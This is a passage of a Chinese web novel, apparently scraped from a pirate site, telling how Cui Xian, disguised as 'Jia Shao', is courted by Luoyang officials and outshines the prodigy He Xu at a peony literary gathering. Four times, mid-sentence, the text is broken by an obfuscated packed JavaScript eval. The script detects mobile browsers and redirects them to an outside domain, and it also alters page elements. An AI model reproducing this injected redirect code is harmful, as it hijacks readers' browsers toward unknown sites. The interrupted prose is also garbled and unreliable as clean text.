显而易见,贾邵是个香饽饽。 要不然,赵恒这种无利不起早的人精,绝无可能放下身段去巴巴献殷勤。 不行不行,我也得跟上去看看! 你洛阳知府赵恒能‘舔’,我洛阳同知齐栋梁,自然也能去‘舔’! 想通了这些。 齐栋梁抬脚走出衙房,吩咐差役:“来人,备轿,本官要去城外接贾邵先生!” 来不及去查证此人是谁了,先‘舔’了再说! 于是,整个洛阳知府衙门齐齐震撼。 因为知府大人,同知大人先后出城,都要去接贾邵先生。 贾邵,究竟是谁啊! 另一边。 自孟津,到洛阳的官道上。 四匹骏马拉着一辆奢华马车,平缓前行。 而在这辆马车后方,还跟着七八辆马车,这些车里坐着的,都是反岘同盟的小黑粉们。 “来来来,喝茶。” 最前方奢华马车里,崔岘热情倒了三杯热茶,递给严思远、齐怀明、阮修德三人。 三位小黑粉受宠若惊,各自捧着‘偶像’亲自倒的茶水,满脸不值钱的傻笑。 其实,崔岘原本是不打算带着这群没用的废物黑粉的。 但得知崔岘启程赶往洛阳,严思远等人急了,再次眼巴巴跟了上来。 这次他们学聪明了,自报了家门。 首先是严思远,他的老爹,是两淮都转盐运司同知。 齐怀明的老爹,是浙江市舶司提举。 最厉害的是阮修德,他老爹,是最高监察机关——督察院右佥都御史。 除了他们仨。 后面那一大群黑粉们的老爹,来头也不小,譬如户部宝钞提举司的提举、茶马司大使、工部屯田清吏司主事等等。 虽然官职都不大。 但实打实都是‘实干实权’部门! 难怪,难怪这群小黑粉们能凑到一起,还如此看不上‘**神童崔岘’。 盖因他们的出身,都是‘实干派系’啊! 把这群小黑粉们笼络住,以后肯定会有大作用的。 因此,崔岘一改先前的冷漠,热情把他们邀请上马车。 阮修德喝了一口‘偶像’亲自给自己倒的茶水,哪怕烫的嘴巴痛,仍旧十分激动,磕磕巴巴道:“贾邵先生,那,您愿意做我们的领袖吗?” 严思远也赶忙道:“求您了,做我们的领袖吧!您去洛阳文会一举成名,广邀天下真才子,带着我们,去开封!好生让那**神童崔岘看看,什么是有用的栋梁之才!” 迎着他们激动的目光。 崔岘笑眯眯点头:“实不相瞒,我一直都挺想做反岘同盟领袖的。此次洛阳文会,你们跟着我便是。” “好好表现,我很看好你们哦。” 小黑粉们开心到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088447|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕厥! 直到马车到了洛阳城外,他们还处于傻乎乎的懵懂状态。 洛阳知府赵恒早早就在等着了,瞧见了贾邵的马车,赶紧寒暄着来打招呼:“贾邵先生,终于把你给盼来咯!” 崔岘闻言,挑开车窗帘,正打算跟赵恒寒暄。 一辆官府马车急急从洛阳城中驶出。 而后。 在赵恒傻眼的注视下,洛阳同知跳下马车,殷勤同贾邵说道:“是极是极,我也早已等待贾邵先生多时了!贾邵先生一路奔波,想必累了吧。” “我这就跟赵府台一起,带先生去牡丹阁休息。我们特地给你准备了最好的房间 ,尽力让先生住的舒坦。” 赵恒:? 这有你什么事儿啊? 但崔岘还以为,这位洛阳同知,是跟着赵恒一起来接待自己的呢。 因此客气笑道:“有劳二位大人了。” 洛阳同知齐栋梁越发热情,引领着贾邵的马车,进了洛阳城。 徒留赵恒风中凌乱许久,终于回过味儿来:齐栋梁这厮,是来截胡他的‘香饽饽’的! 岂有此理! 想到这里,赵恒赶紧上了马车,追随贾邵而去。 这一幕,也看的严思远等人眼冒星光:真不愧是我们的领袖,不管走到哪里,都备受礼遇追捧! 洛阳极为繁华。 再加上最近牡丹盛开,满城芬芳。 崔岘坐在马车里,打量着这座厚重古朴的雄城,目光中尽是赞叹。 被百亩牡丹园林环抱的牡丹阁。 虽然文会还没开始,但许多读书人们,已经提前在牡丹园林赏花,彼此结交、切磋学识。 最近大家讨论最多的话题,绝对当属:贾邵是谁? 以及:他凭什么配住牡丹阁甲字一号房! 这日接近傍晚的时候。 天光正好,牡丹争相绽放,蝴蝶翩翩飞舞。 读书人们三三两两汇聚,悠闲赏花。 牡丹园林主干道外,突然传来大量马蹄声,惹得众多读书人们齐齐张望。 而后,众人无不瞪大双眼。 便见,一辆由四匹骏马拉着的奢华马车,行驶在最前方。 在这辆马车后方,是洛阳知府、洛阳同知的马车。 再往后,还有七八辆马车跟随! 马车在牡丹阁外缓缓停下。 接着,洛阳知府、洛阳同知竟然先下了马车,殷勤来到那奢华马车外,提前等候。 洛阳知府赵恒先是厌恶看了一眼洛阳同知,而后朗声热情笑道:“贾邵先生,牡丹阁到了。洛阳牡丹闻名天下,我来陪你赏花吧。” 洛阳同知赶紧热情道:“是极是极,我也陪贾邵先生来赏花。” 听到这话,四周围震撼失声。 片刻后。 自奢华马车里,走出一个身穿红衣,如玉如琢的俊俏白皙少年郎。 牡丹园林花朵争相绽放,却远不及他夺目耀眼! ? 157、嚣张,太嚣张了! 众目睽睽之下。 那红衣俊俏少年郎走下马车。 而后,在知府赵恒、同知齐栋梁的殷勤陪同下,站在牡丹阁外赏花。 除此之外,还有严思远等数十位小黑粉,巴巴跟随。 两位府官作陪,近十辆马车开路,还有一大群读书人跟班儿。 这般夸张离谱阵仗,谁看了不咂舌震撼? 于是。 本就处于风口浪尖的贾邵,乍一出场,便成为当之无愧的‘焦点’。 “那人便是贾邵?单看卖相还不错。” “卖相好有什么用,一看就是绣花枕头,中看不中用!” “岂有此理,这人究竟什么来头?” “来参加此次洛阳文会的,除了苏祈师兄还没赶到之外。何旭师兄、赵奕师兄、周斐然师兄、孟绅师兄,哪个不是享誉文坛的大才子?但都没这贾邵来的高调。” “除去这五位师兄,还有不少有名气的才子,贾邵凭什么能住最好的房间!” “听说,很多师兄们不满贾邵住甲字一号房,拒绝入住牡丹阁。” 读书人们远远看着那贾邵,表情中尽是不忿。 文会本就是凭借才气、名气说话的地方。 一个名不见经传的人,住了最好的房间不说,还敢这般高调出场,自然引发无数怨言与反感。 碍于两位府官在,没人敢上来挑衅。 但那些愤怒的目光,犹如实质,快要把崔岘给‘穿透’了。 牡丹阁前。 崔岘笑看向赵恒、齐栋梁,无奈道:“二位大人,这是要把贾某架在火上烤啊。” 齐栋梁闻言笑道:“贾邵先生,正所谓:不遭人妒是庸才。文会这种地方,向来是争斗最激烈的。” “在这里,只要你想出名,就不可能低调。以先生的本事,高调些,反而能把事情最简单化。” “因为你只管把不服者打败便好。” 此话说得没问题。 问题是,这齐栋梁,对贾邵一无所知!连蒙带猜的,还真让他‘舔’到真大佬了! 只能说官场上从不缺老油条,和想进步的老油条! 赵恒鼻子都快气歪了,强忍住一拳头把齐栋梁砸死的冲 动对贾邵陪笑道:“先生莫要理会这些庸才。” “今日时间匆忙先生暂且好好休息。等过几日文会开始我介绍先生认识几位顶尖大才子。” 崔岘闻言笑道:“既如此有劳大人了。” 他此次来参加洛阳文会本就是想跟各路天才们打打交道。 所以倒也不介意高调。 两位府官陪着崔岘短暂在阁楼前赏了会儿花而后非常懂事的告辞让崔岘去歇息。 临走前。 赵恒递过来一封信笑道:“贾邵先生您的信。” 崔岘心中有数了含笑接过。 旁边。 严思远等小黑粉们 这眼熟的信封他们曾经在孟津县衙见过。 皇帝的信! 除了上次的那封皇帝竟然又给贾邵先生写信了! 这代表着皇帝和贾邵在互通书信! 老天呐! 瞧见众人这般表情同知齐栋梁眯起眼睛心知这封信肯定大有来头。 得找个机会好生打探一番! 知府、同知两位大人跟贾邵笑着告别等转身离开后二人互相翻了个白眼鼻孔里发出冷哼。 崔岘捏着手中的信笑看向严思远等人:“我要回房休息你们呢要留宿何处?” 来参加牡丹文会的读书人实在太多了。 最有才气、实力那波可以住牡丹阁。 再往下小有名气的会被安置在牡丹园林的一些卧房、或者临时搭建的屋棚里。 至于那些名不见经传的‘主办方’是不管住宿的他们只能自费住酒楼。 文会期间酒楼房价高的吓人。 这也是为什么贾邵住最好的房间会被无数人集中火力**的重要原因之一。 大家都是十八线小咖凭什么你能住甲字一号房? 严思远闻言赶紧说道:“先生您快去休息吧我们去住酒楼!” 崔岘点点头转身进了牡丹阁。 看着他潇洒的背影小黑粉们既崇拜又自卑。 和偶像的差距真的太大了 ! 小黑粉们开心又患得患失的去找酒楼住宿,途中听到很多人对贾邵不屑议论纷纷,气的鼻子都歪了。 阮修德咬牙道:“一群蠢才!等着吧,文会开始后,一个个都得对贾邵先生心服口服!” 想想马上贾邵先生就要在文会上名震天下,一帮小黑粉们就兴奋期待到头皮发麻。 另一边。 崔岘走进牡丹阁,在仆从们恭敬带领下,去了甲字一号房。 不愧是整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088448|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文会最好的房间,位于百尺高台顶。屋内陈设典雅,暗香浮动,极为奢华。 靠近厅堂外侧,还有个宽阔的露台。 崔岘走上露台,外面和风拂面,百亩牡丹园林尽收眼底,绚烂花海争相摇曳,美的极为震撼。 他倚靠在栏杆处,惬意欣赏美景,随手拆开皇帝的回信。 就简短的一个字:善。 但却多给了两页空白信纸。 啧。 崔岘心中有数了。 这一晚,崔岘在甲字一号房美滋滋睡下,还享用了一顿丰盛的洛阳美食。 外界却因为他,吵翻了天。 一夜之间,几乎满洛阳城都知道,有个十八线小咖贾邵,仗着背景深厚,占据了最好的房间。 无数自费住在昂贵酒楼,或者住在棚屋里的读书人,越想越气。 他们连夜写了对联、八股题目、诗句、诗词等作品,不要钱般送到甲字一号房门外,意思很简单—— 接受挑战吧! 让我们看看,你有什么真本事! 没本事的话,趁早从甲字一号房滚出来! 崔岘早上醒来,一推开门,被吓了一跳。 怎么满地都是垃圾啊? 他喊来仆从,笑道:“劳烦,把这些垃圾带走,送去伙房当柴火烧了吧。” 垃圾? 烧了? 仆从震惊的看向崔岘,难以想象眼前这位俊朗温和的贵公子,竟然能干出这般嚣张之举。 他颤声问道:“公子,真的要烧了吗?” 崔岘点点头,笑道:“对,全都烧了。还有,再劳烦你下阁楼,找到我的车夫,让他驾车去宝丰县,接一位姓苏的公子过来。” 来挑衅的小喽啰太多,崔岘懒得应付。 主要是,跟这群人‘文斗’,也太自降身价了,一点都没有逼格。 还好还好,他在宝丰县还有位‘大粉’。 苏祈,别在原地踏步了,别让宝丰县的驿卒们再蛐蛐你了! 来洛阳履行赌约吧! 仆从拎着满满两大箩筐的‘垃圾’,哆嗦着送去后厨烧了。 不出意外。 一盏茶功夫后,整个牡丹园林的读书人们,先后炸开了锅! 那贾邵,竟然说大家送去的作品都是垃圾,全给烧了! 岂有此理! 怎会有这般嚣张至极之人?! ? 158、技压四座:拆字解花、赋新诗、破八股 “那贾邵,当真说咱们的作品是垃圾? “对,听那仆从转述,贾邵开门后,甚至连看都没看,直接说:把垃圾全烧了! “狂妄,嚣张,气煞我也! “我看啊,他分明是没本事,不敢应战。 此时距离洛阳赏花文会正式开始,还有三天。 大量读书人闲出屁来,在牡丹园林闲逛,心中幻想着自己能在文会技惊四座、惊艳全场,一举名震天下。 但他们始终无人在意。 反倒是贾邵,先住进最好的房间,后‘烧垃圾’,轻松成为这场盛会的‘主角’,出尽了‘风头’。 这岂能不遭人恨? 短短一个上午时间。 贾邵的‘恶名’,自牡丹阁传出,在牡丹园林众多读书人中引发哗然。 而后,又迅速在整个洛城文人群体里传播。 据传,贾邵背景滔天,嚣张跋扈,胸无点墨,志大才疏。 总而言之,言而总之—— 此人便是本次洛阳牡丹文会,最大的那颗老鼠屎! 已经有无数才子咬牙切齿放出狠话:等牡丹文会开始后,必将当众教训那贾邵! 关于外界对自己的批判,崔岘懒得理会。 奈何,他此次从未露面开始,仇恨值就已经被拉满。 因此那激烈的‘声讨’,都传到他房间里来了。 彼时。 崔岘刚用过早食,正坐在阁楼露台摇椅上,惬意吹风。 楼下。 相比于崔岘住的甲字一号房,奢侈占据了整整一层楼。 下面这层楼,分做三个房间,皆由‘乙’字号命名。 这三间乙字房,是甲字房的缩小版,房间,露台都相对逼仄很多。 其中的乙字一号房里,有一群听声音都比较年轻的文人,正在露台上玩儿‘拆字解花’游戏。 一边玩游戏的同时,齐齐声讨贾邵。 “那贾邵,何德何能住甲字一号房?真替何师兄感到不值! “对啊,何师兄,你就是太老实好欺负!其余师兄们都拒绝住进来,唯有你,住进乙字房,屈居那贾邵之下! “就算是苏祈师兄 来了,也不敢说稳压何师兄你一头,住甲字房。 “若我是贾邵,早就没这个脸,从甲字房滚出去了! 他们肆意声讨,替‘何师兄’愤愤不平。 但那位何师兄本人,却表情很是不安。 这楼上楼下的,相距太近。他们说话,楼上的人肯定是能听到的! 因此,何师兄略显忐忑的说道:“诸位,慎言。房间一事,我是不怎么在意的。背后议论人,非君子所为。 说话的同时,何师兄还下意识抬头,紧张朝斜上方露台看了一眼。 结果就是这一眼,让他脸色骤然涨的通红。 说人家坏话被当场抓包了! 便见甲字号房露台栏杆处,不知何时,站着一位身穿红衣、芝兰玉树的年轻俊俏少年郎。 那少年郎居高临下看着他们,神情微妙。 以崔岘的视角看去,下方小露台坐着约莫十几个年轻读书人。 被众星拱月般围拢在中心的‘何师兄’,反倒年纪不大,甚至有些稚嫩,瞧着最多十二三岁。 此刻被崔岘盯着,那小孩羞愧到手足无措。 偏偏周围同伴还没察觉,高声反驳道:“何师兄此言差矣!那贾邵本就非君子,我等何须以君子相待?此人之恶行,罄竹难书! “不管是学识,还是人品,他都不配跟何师兄你相提并…… 没等此人把话说完。 那何师兄红着脸慌乱站起来,朝上方羞愧一拱手,歉意道:“是我等失礼在先,兄台勿怪。 露台上所有声音瞬间消失。 众人顺着何师兄的视线抬头,瞧见上方凭栏而立的红衣贵公子,神情惊愕。 他们在露台上大声说话,多少有点故意让贾邵听到的意思。 但显然,谁都没料到,外面‘恶名昭昭’的贾邵,皮囊风姿竟会这般出色。 但,模样好有什么用? 一位明显是何师兄‘粉丝’的蓝衫读书人站起来,恶狠狠看向贾邵,说道:“何师兄,不用向此人赔罪!他抢了你的房间,他不配! 何师兄眉头蹙起,加重音量:“这里是牡丹阁,没有一间房属于我。何谈被抢一说,住口! 那位‘粉丝’不可置信的看向何师兄, 一副‘你竟然因为一个外人骂我’的受伤表情。 而后。 蓝衫粉丝愤怒看向贾邵:“都是因为你若非因为你何师兄怎么会训斥我?识相的话赶紧把甲字一号房让出来!” 崔岘:? 不是我请问呢? 自始至终我说一句话了吗? 果然一粉顶十黑啊。 我那帮小黑粉们都比你靠谱。 崔岘是个从来不愿意憋屈自己的人既然被贴脸开大也没必要再客气。 他看向下方那群人淡声道:“这甲字一号房我能住你们却住不得。” “显然问题不在我而在于你们。” 哗! 听到这番话露台上一群年轻人气的脸色扭曲。 太猖狂了! 那位蓝衣粉丝更是怒道:“既如此你可敢跟我切磋学问?” “不必了。” 崔岘哂笑道:“我记得你的声音方才你们玩儿解花拆字你第二轮都没走过。你连学问都没有我如何跟你切磋。” 蓝衣粉丝脸色瞬间涨的通红。 其余读书人们神情古怪——这个贾邵说话可真不留半分情面啊! 何师兄此刻终于找到说话空隙赶忙拱手歉意道:“兄台实在对不住。在下何旭 这少年倒是真诚。 崔岘语气好了很多看向那蓝衣粉丝:“何兄不必如此倒是这位我和他无冤无仇却屡次对我恶语相向。” “你现在当众向我致歉这事儿便过了。” 何旭看向蓝衣读书人。 蓝衣读书人怒道:“休想!是我学问不高但难道你贾邵就有学问了?来参加文会的大才子们哪个不是有真才实学靠实力打拼出来的?” “凭什么你一来就住甲字一号房?踩着别人出风头?” “你且看本次文会明里暗里多少人对你表示不满大家甚至不愿意住进这个牡丹阁!一场好好地文会被你搅得乌烟瘴气!” “也就是何师兄脾气好不跟你计较!” “你但凡要点脸就该赶紧滚出去!” 好好好。 非得上赶着来找不痛快,是吧。 来不及等‘大粉’了,得先露一手。 不然这场子实在镇不住。 好在这个何旭,似乎有点名头,不然也住不进乙字一号房。 既如此,对不住了。 粉丝行为,偶像买单吧! 崔岘无视叽里呱啦一堆屁话的蓝衣读书人,居高临下道:“方才我观你们玩拆字解花游戏,拆的是‘牡丹’二字。” “说实话,没甚意思。” “既然你们要同我切磋,那游戏规矩我来定。” “先拆字,后赋联句诗,再以联句诗作题,以八股破之。要求很简单,拆字引经据典,联句诗有出处,八股破题经史互参便可。” “我一人作答,你们一起上。” “如何?” 此言一出,整个露台都安静下来。 何旭、蓝衣粉丝等人,都齐齐看向贾邵,一时间忘记言语。 盖因这个切磋的方式,也太过于惊悚了! 拆字解花看似简单,但因为要引经据典、赋词新说,本就需要一些巧思。 这种情况下,赋出的新词,很难保证是什么,或者自圆其说。 赋出新词后,还要以词作联句诗。 这联句诗,还得有出处! 这还不算完! 还要以联句诗作题目,来破八股,且必须经史互参! 如此短暂的时间,真的能办到吗? 蓝衣粉丝不屑道:“既如此,那你先开始!” 他不信贾邵能做到这一步。 上方露台。 一身红衣的贾邵凭栏而立,模样如玉如琢,周身气度自信张扬。他看着下方众人,道:“牡之一字,从‘牛’从‘土’,《说文》释义为:阳畜;象征刚健。” “鼎,国之重器也。牡如鼎耳,喻牡丹承载天地精气。是为《周礼》曰:鼎牡以举。” “丹之一字,朱砂赤色。《尚书·禹贡》载:砺砥砮丹。可喻赤诚。” “铭文常以丹砂书写,牡丹色艳,如铭刻盛世。正如《礼记》曰:丹书宗彝。” “是以,我拆‘牡丹’二字为‘牡鼎丹铭’。” “牡丹如鼎(牡)镇山河,其色(丹)如铭文纪功,合为:以花铭史。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088449|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “尔等可有异议? 岂止是没有异议! 这普普通通的‘牡丹’二字,竟然能拆的这般大气磅礴? 以鼎喻之,以花铭史! ‘牡鼎丹铭’四字一出,楼下所有人齐齐失声,震惊看向贾邵。 蓝衫粉丝傻了。 连何旭都满脸惊艳之色。 见他们不答。 崔岘便继续道:“《周颂·良耜》曰:畟畟良耜。喻农事鼎盛,化“牡鼎为社稷根基。 “《周颂·雝》曰:赤芾金舄。以丹色比王权,铭刻于鼎彝。 “故,我以‘牡鼎丹铭’赋联句诗:牡鼎铸周承稷黍,丹铭勒汉纪功勋。 “尔等可有异议? 这联句诗的意思是:牡丹如周鼎般奠定农本,而它的花色,则是如汉铭般镌刻盛世。 如此大气的拆字,如此恢弘的联句诗。 还要字字引经据典。 他竟想也不想,就这样脱口而出! 此等灼灼风姿,怎么可能真如外界说的是‘胸无点墨’啊! 蓝衫读书人呆滞看着贾邵,脸色逐渐开始涨红。 露台上其余读书人们,也都开始心生忐忑怯意。 拆字他们还勉强可以。 这联句诗,是万万作不出来的。 更何况,还要以诗破八股。 真的能做到吗? 真的可以吗? 有那么一个瞬间,这群人看向贾邵,有些惊惧。 糟了,惹到真才子了! 所以究竟是哪个混蛋,在传贾邵‘志大才疏’啊! 你跟我说这叫‘才疏’? 在一帮人头皮发麻的注视下。 贾邵几乎没有任何停顿,继续道:“《周礼》言‘鼎牡以举’,象阳刚之德;《良耜》咏‘畟畟良耜’,颂稼穑之艰。故‘铸周’者,非徒范金合土,实乃《诗经·鲁颂》‘稷降播种’之遗意。 “《礼记》载‘丹书宗彝’,铭功以昭信;《汉书》曰‘麒麟阁图’,列像以旌贤。故‘勒汉’者,非独刻镂之事,实为‘宣帝思 股肱之美’。” “周制之说,有《诗经》《周礼》。汉家之见,引《汉书》《左传》。” “‘鼎牡’喻礼器,‘丹书’喻史载。” “故,以‘牡鼎铸周承稷黍,丹铭勒汉纪功勋’作题,破题答案为——” “鼎者,国之重器;铭者,史之贞珉。‘牡鼎’象农功之基,‘丹铭’昭王业之盛。盖周以稷黍定邦本,汉以功勋垂竹帛,二者皆圣王所以经纬天地、昭示来兹者也。” 破完题目后。 崔岘看向下方满脸呆滞的一群人,照旧问道:“尔等可有异议?” 无人敢作答。 这已经不是有无‘异议’的事情了! 这是以‘才’压人,纯‘炫技’! 看得出来,贾邵是真恼了,所以半点不带客气,引经据典、旁征博引。从简单的‘牡丹’,拆字赋诗破八股,一气呵成! 更讽刺的是,‘牡丹’拆字解花游戏,是方才他们在玩的游戏。 想想方才一边玩游戏,一边嘲讽贾邵的话语,这群读书人一个个面色苍白,羞愧低头,不敢和贾邵对视。 再也没有了先前的嚣张与傲气。 尤其是那位蓝衫读书人,一屁股坐回凳子上,怔怔无言。 而年轻的何旭,则是定定看着贾邵良久,赞叹道:“贾邵师兄大才。” 崔岘点点头:“到你们了。” 到我们了? 什么‘到我们了’? 诸位读书人从震惊中回过神,而后脸色越发苍白:到我们接招了吗? 啊? 确定是让我们接吗? 他们强忍住恐惧,齐齐期待般看向何旭。 何旭沉默许久,最终长叹一声,在周围读书人们瞠目呆滞的注视下,朝着贾邵一鞠躬:“何某才疏学浅,自认为无法给出比贾邵师兄更好的答案。” “我……” 说到这里,何旭停顿片刻,涩声道:“技不如人,甘愿认输。” 嘶! 这,可是何旭啊! 年仅十三岁,大梁王朝最年轻的举人,比曾经的‘大梁第一神童崔岘’更风光的年轻神童。 今日却在这露台上,甘愿认输! 这贾邵,究竟是哪里冒出来的绝世妖孽啊?! ? 159、对家帮忙‘买热搜\’ 牡丹阁。 乙字一号房,露台。 何旭直接认输,让跟随他的那群读书人们,震撼到彻底失声。 他可是何旭啊! 但凡今日这场切磋的结果传出去,绝对会引发外界轩然大波。 被满洛城嘲讽‘胸无点墨’的贾邵,就这样随意站在露台上,轻松技压全场! 半盏茶功夫之前,谁能料到会是这个结果?! 听到何旭‘甘愿认输’的话。 崔岘也不过多揪着不放,只是说道:“既选择认输,那方才的过节,我们继续清算。” “让那蓝衫少年道歉。” 先前。 崔岘说这话的时候,蓝衫读书人满脸不屑,拒绝道歉。 此刻。 在众人的注视下。 蓝衫少年猛然从椅子上站起来,惊惧看了一眼贾邵。 而后苍白着一张脸,羞愧朝露台上方躬身行揖礼:“是在下有眼不识泰山,方才多有冲撞冒犯,实在失礼。” “请贾邵师兄,大人不记小人过。” 文人之间的相处模式很简单,你有才识,那你便是真理。 而贾邵方才展露出的学识,毫无疑问,是真理中的真理! “念在你道歉心诚,此事就此翻篇。” 崔岘说完,又朝着下方的何旭点点头,随后转身回了卧房。 姿容无双的红衣少年郎,来的悄无声息,走的也潇洒利落。 以至于他的身影消失许久,乙字一号房露台上的读书人们,仍旧在怔怔出神。 脑海中,贾邵方才拆字、赋诗、破八股的内容,如雷鸣般震荡。 越回味,越觉得此人满腹经纶、惊才绝艳! 和当初在宝丰县落败的‘**才子’苏祈一样,这群人也开始怀疑人生。 绝世天才,已经这般不值钱了吗? 怎么随随便便,就能碰到一个! 一片沉默中。 何旭朝众人拱了拱手,认真道:“诸位,我们既已认输,那便从乙字一号房搬出去。自行到洛城,找酒楼居住吧。” 啊? 蓝衫粉丝急了:“何师兄,那贾邵……贾邵师兄 ,他并未要求我们搬出去啊!” 何旭却无奈笑道:“你们逼迫贾邵师兄搬出甲字一号房,所以才有了这次比试。我们既输了,又怎能只道歉,一点代价都不付出呢?” “收拾东西搬出去吧,出去以后,若有人问起,便实话实说。盖因我输给贾邵师兄,所以才搬出去的。” 哗! 听到这话,一群读书人们急了。 尤其是蓝衫读书人,眼眶都红了:“何师兄,我真该死!就因为我出言不逊,连累了你!” “文会还未开始,你便当众认输,那你接下来该如何在文会立足?又如何大放异彩?” 听到这话,何旭笑了。 他年纪很小,但却格外通透,也格外自信:“谁说认输便无法立足?大梁文坛人才济济,比我何旭优秀者,何其多也。” “但,难道我认输了,便会有人因此而看不起我何旭吗?” “况且今日认输,不代表过几日,我不能在文会上继续向贾邵师兄讨教学问!” 有才识之人,大多都是骄傲的。 不管是嘴上爱骂人的苏祈,亦或者眼前这位小小年纪,便君子谦谦的何旭。 遇见真正厉害的大才子,不会让他们怯场。 只会激发他们的战意! 说完后,何旭再次抬头深深看了一眼上方的甲字一号房,而后毫不犹豫转身离开。 蓝衫少年,以及一帮年轻读书人们,只能闷闷跟随。 何旭名头惊人,他们一群人带着行囊走出牡丹阁,立刻便引来一群文人们关切、义愤填膺的询问。 “何师兄,你可是也因为不满那贾邵住甲字一号房,所以搬出来了!” “贾邵此人,实在是一颗老鼠屎!” “委屈何师兄了,等文会开始,就算是知府大人,也拦不住我们教训他!” 然而,面对这群将贾邵痛批到一文不值的读书人。 跟在何旭身后的蓝衫少年等人,诡异的一言不发,始终保持沉默。 何旭本人则是朝着众人一拱手,说道:“好叫诸位知道,我搬离牡丹阁,并非不满贾邵师兄。” “而是因为我先对贾邵师兄无礼,后同贾邵师兄切磋学问输了,是以搬出牡丹阁,向贾邵师兄聊表歉意。” “贾邵师兄,并非庸才,而是惊才绝艳之天才!” 说完后。 何旭不理会神情呆滞的众人,带领蓝衫少年等人离开。 他们走了。 但牡丹阁外一群读书人们,则是彻底瞠目傻眼。 “什、什么?” “我没听错吧?” “何师兄说他输给了贾邵,所以才会搬离牡丹阁!他还说,贾邵是绝世才子?” “怎么可能!若贾邵真是大才子,我们此前为何从未听过此人名讳!” “但何师兄肯定不会故意撒谎。” 当日。 一个骇人的最新消息,在牡丹文会读书人群体当中流传—— “贾邵其实是个绝世天才!何旭跟他切磋学问,输了!” 此消息一出,不出意外引发无数人哗然。 何旭,输给了贾邵?! 假的吧! 有人言之凿凿表示,此话不假,因为是何旭亲口说的。 但更多的人,则是死活不相信! 年十三,大梁王朝最年轻的举人,天才何旭,怎么可能会输给名不见经传的贾邵呢? 不可能! 绝对不可能! 那贾邵,是在沽名钓誉吧! 满洛城的读书人,都在质疑这件事的真实性。 而洛阳知府赵恒听说后,当即便认定,此事一定是真的! 他知道是贾邵一手操办了‘孟津祥瑞’,又在鸿雁楼亲眼见识过贾邵的才识,早就被贾邵折服。 何旭输给贾邵,不奇怪! 牡丹文会马上开始。 贾邵如今‘**’太多,这和前首辅陈秉吩咐给自己的‘不惜一切代价替贾邵扬名’的差事,背道而驰。 因此,赵恒需要动用手段,替贾邵造势啊! 务必保证,此次洛阳赏花文会后,贾邵名动天下! 思来想去,赵恒盯上了洛阳城一家近几年兴起的邸报——《坊间秘事》。 这个《坊间秘事》邸报,一开始以刊登各种狗血八卦新闻,在洛阳城有了一定得读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088450|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者受众群体。 听说。 《坊间秘事》也想趁 着此次洛阳文会,朝着‘阳春白雪’的方向转型。 更值得注意的是,赵恒还隐约听说了,这家《坊间秘事》邸报很有背景,似乎跟开封那边往来颇深。 文会期间,洛阳城里读书人密密麻麻。 此时出一系列关于‘洛阳文会’的邸报,绝对不愁卖! 说不定还能重现‘洛阳纸贵’的盛况! 因此,在牡丹文会开始的前一天。 知府赵恒,约见了《坊间秘事》的背后神秘东家,一位头发花白,精神抖擞、气质干练的老太太。 双方在茶楼雅间碰面。 哪怕对面坐着的是知府大人,那东家老太太也半分不怵,笑道:“知府大人,您确定,那贾邵有真才实学?” 赵恒笃定道:“本官确信。” 东家老太太闻言,在心里翻了个白眼。 你确信个屁! 真有才识,就该跟我家岘哥儿似的,顷刻间扬名! 哪里用得着‘做营销’、‘买热搜’? 但虽说心里吐槽,东家老太太表面上却笑道:“既如此,那这事儿就简单了!只用纹银二百两!” “自明日起,那贾邵从住进牡丹阁引发群嘲,到洛阳文会证明自己,到写出作品一鸣惊人,再到才子大名传唱四方,全由我们来包办安排!” “甚至从今晚开始,我家邸报的印刷坊就能日夜待命。” “只等明日文会一开始,便能替贾邵扬名!” “为了事件反转力度无限拉大,先引发群嘲,再反转。我的建议是,今日大人找数十人,去城内散布消息,就说贾邵战胜何旭一事,是他瞎编的。” “明早,我们出一期邸报,炮轰贾邵沽名钓誉!” “让这些读书人们,义愤填膺拿着邸报,去文会上,当场找贾邵对峙。” 